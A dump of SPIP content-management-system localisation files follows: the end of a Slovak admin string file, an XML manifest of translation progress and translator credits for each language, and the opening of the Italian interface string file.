'titre_page_delete_all' => 'úplné a nezvratné odstránenie',
'titre_page_documents_liste' => 'Pripojené súbory',
'titre_page_index' => 'Vaša súkromná zóna',
'titre_page_message_edit' => 'Napísať správu',
'titre_page_messagerie' => 'Váš odkazovač',
'titre_page_recherche' => 'Výsledky vyhľadávania @recherche@',
'titre_page_statistiques_referers' => 'Štatistika (prichádzajúce odkazy)',
'titre_page_statistiques_signatures_jour' => 'Počet podpisov podľa dní',
'titre_page_statistiques_signatures_mois' => 'Počet podpisov podľa mesiacov',
'titre_page_upgrade' => 'Upgrade SPIPU',
'titre_publication_articles_post_dates' => 'Publikovanie postdatovaných článkov',
'titre_referencer_site' => 'Vložiť odkaz na stránku:',
'titre_rendez_vous' => 'STRETNUTIA:',
'titre_reparation' => 'Opraviť',
'titre_suivi_petition' => 'Sledovanie petícií',
'tls_ldap' => 'Zabezpečenie transportnej vrstvy:',
'trad_article_inexistant' => 'V tomto čísle nie je žiaden článok',
'trad_article_traduction' => 'Všetky verzie tohto článku:',
'trad_deja_traduit' => 'Chyba: tento článok sa nedá prepojiť s požadovaným číslom.',
'trad_delier' => 'Na tieto preklady už neodkazovať',
'trad_lier' => 'Tento článok je prekladom článku číslo:',
'trad_new' => 'Napísať nový preklad',
// U
'upload_info_mode_document' => 'Umiestniť tento obrázok do portfólia',
'upload_info_mode_image' => 'Odstrániť tento obrázok z portfólia',
'utf8_convert_attendez' => 'Počkajte niekoľko sekúnd a potom znova spustite túto stránku.',
'utf8_convert_avertissement' => 'Chystáte sa skontertovať obsah svojej databázy (články, novinky, atď.) zo znakovej sady <b>@orig@</b> do znakovej sady <b>@charset@</b>.',
'utf8_convert_backup' => 'Nezabudnite najprv urobiť kompletnú zálohu svojej stránky. Treba tiež skontrolovať, či sú vaše šablóny a jazykové súbory kompatibilné s @charset@.',
'utf8_convert_erreur_deja' => 'Vaša stránka je už v @charset@, nemá zmysel ju konvertovať.',
'utf8_convert_erreur_orig' => 'Chyba: znaková sada @charset@ nie je podporovaná.',
'utf8_convert_termine' => 'Hotovo!',
'utf8_convert_timeout' => '<b>Dôležité:</b> Ak server hlási <i>timeout</i> (vypršanie časového limitu), prosím, pokračujte a znova načítajte stránku, až kým sa vám neobjaví správa "Hotovo!".',
'utf8_convert_verifier' => 'Teraz treba vyprázdniť cache stránky a potom skontrolovať, či je na verejne prístupnej stránke všetko v poriadku. Pre prípad, že by sa objavil veľký problém, bola v priečinku @rep@ vytvorená záloha pôvodných dát (vo formáte SQL).',
'utf8_convertir_votre_site' => 'Konvertovať stránku na utf-8',
// V
'version' => 'Verzia:'
);
?>
ecrire.xml 0000666 00000034013 15252547432 0006555 0 ustar 00 <traduction module="ecrire" gestionnaire="salvatore" url="http://trad.spip.net" source="svn://trac.rezo.net/spip/spip/ecrire/lang/" reference="fr">
<langue code="ar" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=ar" total="929" traduits="928" relire="0" modifs="0" nouveaux="1" pourcent="99.89">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
</langue>
<langue code="ast" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=ast" total="929" traduits="819" relire="0" modifs="38" nouveaux="72" pourcent="88.16">
<traducteur nom="Xuacu" lien="http://trad.spip.net/auteur/xuacu" />
</langue>
<langue code="ay" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=ay" total="929" traduits="218" relire="0" modifs="7" nouveaux="704" pourcent="23.47">
</langue>
<langue code="bg" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=bg" total="929" traduits="604" relire="0" modifs="42" nouveaux="283" pourcent="65.02">
</langue>
<langue code="br" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=br" total="929" traduits="918" relire="0" modifs="2" nouveaux="9" pourcent="98.82">
<traducteur nom="Kristen" lien="http://trad.spip.net/auteur/kristen" />
</langue>
<langue code="bs" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=bs" total="929" traduits="539" relire="0" modifs="75" nouveaux="315" pourcent="58.02">
</langue>
<langue code="ca" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=ca" total="929" traduits="882" relire="0" modifs="24" nouveaux="23" pourcent="94.94">
<traducteur nom="merce" lien="http://trad.spip.net/auteur/merce" />
</langue>
<langue code="co" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=co" total="929" traduits="817" relire="0" modifs="37" nouveaux="75" pourcent="87.94">
<traducteur nom="tavamig" lien="http://trad.spip.net/auteur/tavamig" />
</langue>
<langue code="cpf" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=cpf" total="929" traduits="604" relire="0" modifs="42" nouveaux="283" pourcent="65.02">
</langue>
<langue code="cpf_hat" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=cpf_hat" total="929" traduits="563" relire="0" modifs="58" nouveaux="308" pourcent="60.60">
</langue>
<langue code="cs" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=cs" total="929" traduits="582" relire="0" modifs="70" nouveaux="277" pourcent="62.65">
</langue>
<langue code="da" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=da" total="929" traduits="538" relire="0" modifs="41" nouveaux="350" pourcent="57.91">
</langue>
<langue code="de" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=de" total="929" traduits="926" relire="0" modifs="1" nouveaux="2" pourcent="99.68">
<traducteur nom="Fil" lien="http://trad.spip.net/auteur/fil" />
<traducteur nom="klaus++" lien="http://trad.spip.net/auteur/klaus" />
<traducteur nom="Rainer Müller" lien="http://trad.spip.net/auteur/rainer-muller" />
<traducteur nom="Torsten Willmann" lien="http://trad.spip.net/auteur/torsten-willmann" />
</langue>
<langue code="en" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=en" total="929" traduits="928" relire="0" modifs="0" nouveaux="1" pourcent="99.89">
<traducteur nom="Benitron" lien="http://trad.spip.net/auteur/benitron" />
<traducteur nom="Fil" lien="http://trad.spip.net/auteur/fil" />
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
<traducteur nom="Jennie Hughes" lien="http://trad.spip.net/auteur/jennie-hughes" />
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
<traducteur nom="Mark" lien="http://trad.spip.net/auteur/mark" />
<traducteur nom="Paolo" lien="http://trad.spip.net/auteur/paolo" />
<traducteur nom="sQuonk" lien="http://trad.spip.net/auteur/squonk" />
</langue>
<langue code="eo" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=eo" total="929" traduits="918" relire="0" modifs="2" nouveaux="9" pourcent="98.82">
<traducteur nom="Fil" lien="http://trad.spip.net/auteur/fil" />
<traducteur nom="frederik" lien="http://trad.spip.net/auteur/frederik" />
<traducteur nom="Matthieu Marcillaud" lien="http://trad.spip.net/auteur/matthieu-marcillaud" />
</langue>
<langue code="es" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=es" total="929" traduits="928" relire="0" modifs="0" nouveaux="1" pourcent="99.89">
<traducteur nom="alf" lien="http://trad.spip.net/auteur/alf" />
<traducteur nom="dani" lien="http://trad.spip.net/auteur/dani" />
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
<traducteur nom="jotacese" lien="http://trad.spip.net/auteur/jotacese" />
<traducteur nom="mjrusalv" lien="http://trad.spip.net/auteur/mjrusalv" />
<traducteur nom="Nathan" lien="http://trad.spip.net/auteur/nathan" />
<traducteur nom="Raquel S. Bujaldón" lien="http://trad.spip.net/auteur/raquel-s-bujaldon" />
<traducteur nom="severo" lien="http://trad.spip.net/auteur/severo" />
</langue>
<langue code="eu" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=eu" total="929" traduits="905" relire="0" modifs="0" nouveaux="24" pourcent="97.42">
<traducteur nom="otalazt" lien="http://trad.spip.net/auteur/otalazt" />
</langue>
<langue code="fa" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=fa" total="929" traduits="908" relire="0" modifs="12" nouveaux="9" pourcent="97.74">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
<traducteur nom="Fil" lien="http://trad.spip.net/auteur/fil" />
</langue>
<langue code="fon" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=fon" total="929" traduits="560" relire="0" modifs="42" nouveaux="327" pourcent="60.28">
</langue>
<langue code="fr" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=fr" total="929" traduits="929" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Matthieu Marcillaud" lien="http://trad.spip.net/auteur/matthieu-marcillaud" />
</langue>
<langue code="fr_fem" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=fr_fem" total="929" traduits="927" relire="0" modifs="0" nouveaux="2" pourcent="99.78">
<traducteur nom="denisb" lien="http://trad.spip.net/auteur/denisb" />
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
<traducteur nom="touti" lien="http://trad.spip.net/auteur/touti" />
</langue>
<langue code="fr_tu" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=fr_tu" total="929" traduits="927" relire="0" modifs="0" nouveaux="2" pourcent="99.78">
<traducteur nom="Astalaseven" lien="http://trad.spip.net/auteur/astalaseven" />
<traducteur nom="beatnick" lien="http://trad.spip.net/auteur/beatnick" />
<traducteur nom="Benitron" lien="http://trad.spip.net/auteur/benitron" />
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
<traducteur nom="Nathan" lien="http://trad.spip.net/auteur/nathan" />
<traducteur nom="orlammd" lien="http://trad.spip.net/auteur/orlammd" />
<traducteur nom="PatV" lien="http://trad.spip.net/auteur/pat" />
<traducteur nom="RealET" lien="http://trad.spip.net/auteur/realet" />
</langue>
<langue code="gl" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=gl" total="929" traduits="840" relire="0" modifs="36" nouveaux="53" pourcent="90.42">
<traducteur nom="Antón Méixome" lien="http://trad.spip.net/auteur/anton-meixome" />
</langue>
<langue code="he" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=he" total="929" traduits="399" relire="0" modifs="13" nouveaux="517" pourcent="42.95">
<traducteur nom="Nicoco" lien="http://trad.spip.net/auteur/nicoco" />
</langue>
<langue code="hu" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=hu" total="929" traduits="574" relire="0" modifs="73" nouveaux="282" pourcent="61.79">
</langue>
<langue code="id" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=id" total="929" traduits="618" relire="0" modifs="42" nouveaux="269" pourcent="66.52">
</langue>
<langue code="it" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=it" total="929" traduits="926" relire="0" modifs="1" nouveaux="2" pourcent="99.68">
<traducteur nom="cam.lafit" lien="http://trad.spip.net/auteur/cam-lafit" />
<traducteur nom="phante" lien="http://trad.spip.net/auteur/phante" />
</langue>
<langue code="it_fem" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=it_fem" total="929" traduits="736" relire="0" modifs="38" nouveaux="155" pourcent="79.22">
</langue>
<langue code="ja" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=ja" total="929" traduits="576" relire="0" modifs="42" nouveaux="311" pourcent="62.00">
</langue>
<langue code="km" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=km" total="929" traduits="660" relire="0" modifs="38" nouveaux="231" pourcent="71.04">
</langue>
<langue code="lb" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=lb" total="929" traduits="918" relire="0" modifs="2" nouveaux="9" pourcent="98.82">
<traducteur nom="jwander" lien="http://trad.spip.net/auteur/jwander" />
<traducteur nom="klaus++" lien="http://trad.spip.net/auteur/klaus" />
</langue>
<langue code="my" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=my" total="929" traduits="614" relire="0" modifs="42" nouveaux="273" pourcent="66.09">
</langue>
<langue code="nl" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=nl" total="929" traduits="928" relire="0" modifs="0" nouveaux="1" pourcent="99.89">
<traducteur nom="ericdg10" lien="http://trad.spip.net/auteur/ericdg10" />
<traducteur nom="gerbrand" lien="http://trad.spip.net/auteur/gerbrand" />
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
<traducteur nom="mpossoz" lien="http://trad.spip.net/auteur/mpossoz" />
<traducteur nom="Suske" lien="http://trad.spip.net/auteur/suske" />
</langue>
<langue code="oc_auv" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=oc_auv" total="929" traduits="567" relire="0" modifs="42" nouveaux="320" pourcent="61.03">
</langue>
<langue code="oc_gsc" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=oc_gsc" total="929" traduits="567" relire="0" modifs="42" nouveaux="320" pourcent="61.03">
</langue>
<langue code="oc_lms" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=oc_lms" total="929" traduits="567" relire="0" modifs="42" nouveaux="320" pourcent="61.03">
</langue>
<langue code="oc_lnc" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=oc_lnc" total="929" traduits="640" relire="0" modifs="42" nouveaux="247" pourcent="68.89">
</langue>
<langue code="oc_ni" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=oc_ni" total="929" traduits="636" relire="0" modifs="33" nouveaux="260" pourcent="68.46">
<traducteur nom="Bastian" lien="http://trad.spip.net/auteur/bastian" />
</langue>
<langue code="oc_ni_la" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=oc_ni_la" total="929" traduits="563" relire="0" modifs="46" nouveaux="320" pourcent="60.60">
</langue>
<langue code="oc_prv" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=oc_prv" total="929" traduits="583" relire="0" modifs="42" nouveaux="304" pourcent="62.76">
</langue>
<langue code="oc_va" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=oc_va" total="929" traduits="567" relire="0" modifs="42" nouveaux="320" pourcent="61.03">
</langue>
<langue code="pl" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=pl" total="929" traduits="815" relire="0" modifs="50" nouveaux="64" pourcent="87.73">
<traducteur nom="Karolina Anna" lien="http://trad.spip.net/auteur/karolina-anna" />
<traducteur nom="keycheck" lien="http://trad.spip.net/auteur/keycheck" />
</langue>
<langue code="pt" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=pt" total="929" traduits="926" relire="0" modifs="1" nouveaux="2" pourcent="99.68">
<traducteur nom="Cláudia Anjos Lopes" lien="http://trad.spip.net/auteur/claudia_a_lopes" />
<traducteur nom="Ricardo Porto" lien="http://trad.spip.net/auteur/ricardo-porto" />
</langue>
<langue code="pt_br" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=pt_br" total="929" traduits="918" relire="0" modifs="2" nouveaux="9" pourcent="98.82">
<traducteur nom="Fil" lien="http://trad.spip.net/auteur/fil" />
<traducteur nom="Ricardo Porto" lien="http://trad.spip.net/auteur/ricardo-porto" />
</langue>
<langue code="ro" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=ro" total="929" traduits="776" relire="0" modifs="41" nouveaux="112" pourcent="83.53">
<traducteur nom="vmurariu" lien="http://trad.spip.net/auteur/vmurariu" />
</langue>
<langue code="ru" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=ru" total="929" traduits="923" relire="0" modifs="2" nouveaux="4" pourcent="99.35">
<traducteur nom="Serge Markitanenko" lien="http://trad.spip.net/auteur/serge-markitanenko" />
</langue>
<langue code="sk" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=sk" total="929" traduits="929" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
</langue>
<langue code="sv" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=sv" total="929" traduits="604" relire="0" modifs="40" nouveaux="285" pourcent="65.02">
</langue>
<langue code="tr" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=tr" total="929" traduits="736" relire="0" modifs="38" nouveaux="155" pourcent="79.22">
</langue>
<langue code="vi" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=vi" total="929" traduits="559" relire="0" modifs="50" nouveaux="320" pourcent="60.17">
</langue>
<langue code="zh" url="http://trad.spip.net/tradlang_module/ecrire_?lang_cible=zh" total="929" traduits="519" relire="0" modifs="83" nouveaux="327" pourcent="55.87">
<traducteur nom="Chia Kiah Yeen" lien="http://trad.spip.net/auteur/chia-kiah-yeen" />
</langue>
</traduction>
spip_it.php 0000666 00000112135 15252547432 0006744 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=it
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-it',
'0_langue' => 'Italiano [it]',
'0_liste' => 'spip-it@rezo.net',
'0_mainteneur' => 'ebottaro@hce.it',
// A
'access_interface_graphique' => 'Ritorna all’interfaccia grafica completa',
'access_mode_texte' => 'Visualizza l’interfaccia testuale semplificata',
'admin_debug' => 'debug',
'admin_modifier_article' => 'Modifica l’articolo',
'admin_modifier_auteur' => 'Modifica l’autore',
'admin_modifier_breve' => 'Modifica la breve',
'admin_modifier_mot' => 'Modifica la parola chiave',
'admin_modifier_rubrique' => 'Modifica la rubrica',
'admin_recalculer' => 'Rigenera la pagina',
'afficher_calendrier' => 'Mostra il calendario',
'afficher_trad' => 'visualizzare le traduzioni',
'alerte_maj_impossible' => '<b>Attenzione!</b> L’aggiornamento del database SQL alla versione @version@ è impossibile, forse a causa di un problema con i diritti di modifica nel database. Contattare il proprio fornitore di hosting.',
'alerte_modif_info_concourante' => 'ATTENZIONE: Questa informazione è stata modificata altrove. Il valore attuale è:',
'analyse_xml' => 'Analisi XML',
'annuler' => 'Annulla',
'antispam_champ_vide' => 'Si prega di lasciare vuoto questo campo:',
'articles_recents' => 'Articoli più recenti',
'avis_archive_incorrect' => 'il file archivio non è un file SPIP',
'avis_archive_invalide' => 'il file archivio non è valido',
'avis_attention' => 'ATTENZIONE!',
'avis_champ_incorrect_type_objet' => 'Nome di campo errato @name@ per oggetto di tipo ',
'avis_colonne_inexistante' => 'La colonna @col@ non esiste',
'avis_erreur' => 'Errore: vedi sopra',
'avis_erreur_connexion' => 'Errore di connessione',
'avis_erreur_cookie' => 'problema di cookie',
'avis_erreur_fonction_contexte' => 'Errore di programmazione. Questa funzione non deve essere chiamata in questo contesto.',
'avis_erreur_mysql' => 'Errore SQL ',
'avis_erreur_sauvegarde' => 'Errore nel salvataggio (@type@ @id_objet@)! ',
'avis_erreur_visiteur' => 'Problema di accesso all’area riservata',
// B
'barre_a_accent_grave' => 'Inserire una A maiscola con accento grave',
'barre_aide' => 'Utilizzare le scorciatoie tipografiche di SPIP per migliorare l\\’impaginazione del testo',
'barre_e_accent_aigu' => 'Inserire una E maiscola con accento acuto',
'barre_eo' => 'Inserire una E nell’O',
'barre_eo_maj' => 'Inserire una E nell’O maiuscola',
'barre_euro' => 'Inserire il simbolo €',
'barre_gras' => 'Formattare in {{grassetto}}',
'barre_guillemets' => 'Porre il testo fra « virgolette basse francesi »',
'barre_guillemets_simples' => 'Porre il testo fra „virgolette“',
'barre_intertitre' => 'Trasformare in {{{titolo di paragrafo}}}',
'barre_italic' => 'Formattare in {corsivo}',
'barre_lien' => 'Trasformare in un [link ipertestuale->http://...]',
'barre_lien_input' => 'Indicare l’indirizzo del link (è possibile indicare l’indirizzo Web come http://www.ilmiosito.com o semplicemente indicare il numero di un singolo articolo).',
'barre_note' => 'Trasformare in [[Nota a fondo pagina]]',
'barre_paragraphe' => 'Crea un paragrafo',
'barre_quote' => '<quote>Citare un messaggio</quote>',
'bouton_changer' => 'Cambia',
'bouton_chercher' => 'Cerca',
'bouton_choisir' => 'Scegli',
'bouton_deplacer' => 'Sposta',
'bouton_download' => 'Download',
'bouton_enregistrer' => 'Salva',
'bouton_radio_desactiver_messagerie_interne' => 'Disattiva la messaggistica interna',
'bouton_radio_envoi_annonces' => 'Invia gli annunci editoriali',
'bouton_radio_non_envoi_annonces' => 'Non inviare annunci',
'bouton_radio_non_envoi_liste_nouveautes' => 'Non inviare l’elenco delle novità',
'bouton_recharger_page' => 'ricaricare questa pagina',
'bouton_telecharger' => 'Upload',
'bouton_upload' => 'Upload',
'bouton_valider' => 'Invia',
// C
'cal_apresmidi' => 'pomeriggio',
'cal_jour_entier' => 'giorno intero',
'cal_matin' => 'mattina',
'cal_par_jour' => 'calendario giornaliero',
'cal_par_mois' => 'calendario mensile',
'cal_par_semaine' => 'calendario settimanale',
'choix_couleur_interface' => 'colore',
'choix_interface' => 'scelta dell’interfaccia',
'colonne' => 'Colonna',
'confirm_changer_statut' => 'Attenzione, è stato chiesto di modificare lo status di questo elemento. Continuare?',
'correcte' => 'corretto',
// D
'date_aujourdhui' => 'oggi',
'date_avant_jc' => 'a.C.',
'date_dans' => 'tra @delai@',
'date_de_mois_1' => '@j@ gennaio',
'date_de_mois_10' => '@j@ ottobre',
'date_de_mois_11' => '@j@ novembre',
'date_de_mois_12' => '@j@ dicembre',
'date_de_mois_2' => '@j@ febbraio',
'date_de_mois_3' => '@j@ marzo',
'date_de_mois_4' => '@j@ aprile',
'date_de_mois_5' => '@j@ maggio',
'date_de_mois_6' => '@j@ giugno',
'date_de_mois_7' => '@j@ luglio',
'date_de_mois_8' => '@j@ agosto',
'date_de_mois_9' => '@j@ settembre',
'date_demain' => 'domani',
'date_fmt_heures_minutes' => '@h@:@m@',
'date_fmt_heures_minutes_court' => '@h@h@m@',
'date_fmt_jour' => '@nomjour@ @jour@',
'date_fmt_jour_heure' => '@jour@ ore @heure@',
'date_fmt_jour_heure_debut_fin' => 'Il @jour@ dalle @heure_debut@ alle @heure_fin@',
'date_fmt_jour_heure_debut_fin_abbr' => 'Il @dtstart@@jour@ dalle @heure_debut@@dtabbr@ al @dtstart@@heure_fin@@dtend@',
'date_fmt_jour_mois' => '@jourmois@',
'date_fmt_jour_mois_annee' => '@jourmois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour' => '@nomjour@ @date@',
'date_fmt_nomjour_date' => 'il @nomjour@ @date@',
'date_fmt_periode' => 'Dal @date_debut@ al @date_fin@',
'date_fmt_periode_abbr' => 'Dal @dtart@@date_debut@@dtabbr@ al @dtend@@date_fin@@dtabbr@',
'date_fmt_periode_from' => 'Dal',
'date_fmt_periode_to' => 'a',
'date_heures' => 'ore',
'date_hier' => 'ieri',
'date_il_y_a' => '@delai@ fa',
'date_jnum1' => '1',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'domenica',
'date_jour_1_abbr' => 'dom',
'date_jour_1_initiale' => 'd',
'date_jour_2' => 'lunedì',
'date_jour_2_abbr' => 'lun',
'date_jour_2_initiale' => 'l',
'date_jour_3' => 'martedì',
'date_jour_3_abbr' => 'mar',
'date_jour_3_initiale' => 'm',
'date_jour_4' => 'mercoledì',
'date_jour_4_abbr' => 'mer',
'date_jour_4_initiale' => 'm',
'date_jour_5' => 'giovedì',
'date_jour_5_abbr' => 'giov',
'date_jour_5_initiale' => 'g',
'date_jour_6' => 'venerdì',
'date_jour_6_abbr' => 'ven',
'date_jour_6_initiale' => 'v',
'date_jour_7' => 'sabato',
'date_jour_7_abbr' => 'sab',
'date_jour_7_initiale' => 's',
'date_jours' => 'giorni',
'date_minutes' => 'minuti',
'date_mois' => 'mesi',
'date_mois_1' => 'Gennaio',
'date_mois_10' => 'Ottobre',
'date_mois_10_abbr' => 'ott',
'date_mois_11' => 'Novembre',
'date_mois_11_abbr' => 'nov',
'date_mois_12' => 'Dicembre',
'date_mois_12_abbr' => 'dic',
'date_mois_1_abbr' => 'gen',
'date_mois_2' => 'Febbraio',
'date_mois_2_abbr' => 'feb',
'date_mois_3' => 'Marzo',
'date_mois_3_abbr' => 'mar',
'date_mois_4' => 'Aprile',
'date_mois_4_abbr' => 'apr',
'date_mois_5' => 'Maggio',
'date_mois_5_abbr' => 'mag',
'date_mois_6' => 'Giugno',
'date_mois_6_abbr' => 'giu',
'date_mois_7' => 'Luglio',
'date_mois_7_abbr' => 'lug',
'date_mois_8' => 'Agosto',
'date_mois_8_abbr' => 'ago',
'date_mois_9' => 'Settembre',
'date_mois_9_abbr' => 'set',
'date_saison_1' => 'inverno',
'date_saison_2' => 'primavera',
'date_saison_3' => 'estate',
'date_saison_4' => 'autunno',
'date_secondes' => 'secondi',
'date_semaines' => 'settimane',
'date_un_mois' => 'mese',
'date_une_heure' => 'ora',
'date_une_minute' => 'minuto',
'date_une_seconde' => 'secondo',
'date_une_semaine' => 'settimana',
'dirs_commencer' => ' per iniziare realmente l’installazione',
'dirs_preliminaire' => 'Prima di iniziare: <b>impostare i diritti di accesso</b>',
'dirs_probleme_droits' => 'Problema nei diritti di accesso',
'dirs_repertoires_absents' => '<p><b>Le seguenti cartelle non sono state trovate: </b></p><ul>@bad_dirs@.</ul>
<p>Probabilmente ciò è dovuto a un’errata formattazione delle lettere maiuscole o minuscole.
Verificare che le maiuscole e le minuscole delle cartelle coincidano con quelle visualizzate
qui sopra; se non è così, rinominare le cartelle utilizzando il software FTP.</p>
<p>Una volta effettuata questa correzione, si potrà',
'dirs_repertoires_suivants' => '<p><b>Le seguenti cartelle non sono accessibili in scrittura:</b></p> <ul>@bad_dirs@</ul>
<p>Per risolvere il problema, utilizzare un client FTP per impostare i diritti di accesso
di ciascuna di queste cartelle. La procedura è spiegata in dettaglio nella guida d’installazione.</p>
<p>Una volta attribuiti i permessi, si potrà ',
'double_occurrence' => 'Doppia occorrenza',
// E
'en_cours' => 'in corso',
'envoi_via_le_site' => 'Invio tramite il sito',
'erreur' => 'Errore',
'erreur_balise_non_fermee' => 'ultimo tag non chiuso:',
'erreur_technique_ajaxform' => 'Ops. Un’errore inaspettato non ti consente di inviare il form. Puoi provare di nuovo.',
'erreur_technique_enregistrement_champs' => 'Un errore tecnico ha impedito la corretta registrazione del campo @champs@.',
'erreur_technique_enregistrement_impossible' => 'Un errore tecnico ha impedito la registrazione.',
'erreur_texte' => 'errore/i',
'etape' => 'Fase',
// F
'fichier_introuvable' => 'File @fichier@ non trovato',
'form_auteur_confirmation' => 'Per cortesia conferma il tuo indirizzo email',
'form_auteur_email_modifie' => 'Il tuo indirizzo email è stato modificato',
'form_auteur_envoi_mail_confirmation' => 'Una email di conferma è stata inviata a @email@. È necessario visitare l’URL indicata nel messaggio per convalidare il tuo indirizzo email.',
'form_auteur_mail_confirmation' => 'Ciao,
Hai chiesto di modificare l’indirizzo email.
Per confermare la tua nuova email, devi connetterti all’
indirizzo qui sotto. (Altrimenti la tua richiesta sarà ignorata.):
@url@
',
'form_deja_inscrit' => 'Sei già iscritto.',
'form_email_non_valide' => 'L’indirizzo email non è valido.',
'form_forum_access_refuse' => 'Non hai più accesso a questo sito.',
'form_forum_bonjour' => 'Buongiorno @nom@,',
'form_forum_confirmer_email' => 'Puoi confermare il tuo indirizzo email,vai a questo indirizzo: @url_confirm@',
'form_forum_email_deja_enregistre' => 'Questo indirizzo email è già registrato, puoi dunque utilizzare la tua password abituale.',
'form_forum_identifiant_mail' => 'Il nuovo codice identificativo (ID) ti è stato appena inviato tramite email.',
'form_forum_identifiants' => 'Dati personali',
'form_forum_indiquer_nom_email' => 'Indica qui nome e indirizzo email. L’ID personale ti verrà recapitato tramite email a breve.',
'form_forum_login' => 'login:',
'form_forum_message_auto' => '(questo è un messaggio generato automaticamente)',
'form_forum_pass' => 'password:',
'form_forum_probleme_mail' => 'Problema di posta: l’ID non può essere inviato.',
'form_forum_voici1' => 'Ecco i dati per poter partecipare ai forum
del sito"@nom_site_spip@" (@adresse_site@):',
'form_forum_voici2' => 'Ecco i dati per poter proporre degli articoli sul sito
"@nom_site_spip@" (@adresse_login@):',
'form_indiquer_email' => 'Indica il tuo indirizzo email.',
'form_indiquer_nom' => 'Indica il tuo nome.',
'form_indiquer_nom_site' => 'Indica il nome del tuo sito.',
'form_pet_deja_enregistre' => 'Questo sito è già registrato',
'form_pet_signature_pasprise' => 'La tua adesione non è stata presa in considerazione.',
'form_prop_confirmer_envoi' => 'Conferma l’invio',
'form_prop_description' => 'Descrizione/commento',
'form_prop_enregistre' => 'La tua proposta è stata registrata ed apparirà on line dopo l’approvazione del responsabile del sito.',
'form_prop_envoyer' => 'Invia un messaggio',
'form_prop_indiquer_email' => 'Indica un indirizzo email valido',
'form_prop_indiquer_nom_site' => 'Indica il nome del sito.',
'form_prop_indiquer_sujet' => 'Indica un argomento',
'form_prop_message_envoye' => 'Messaggio inviato',
'form_prop_non_enregistre' => 'La tua proposta non è stata registrata.',
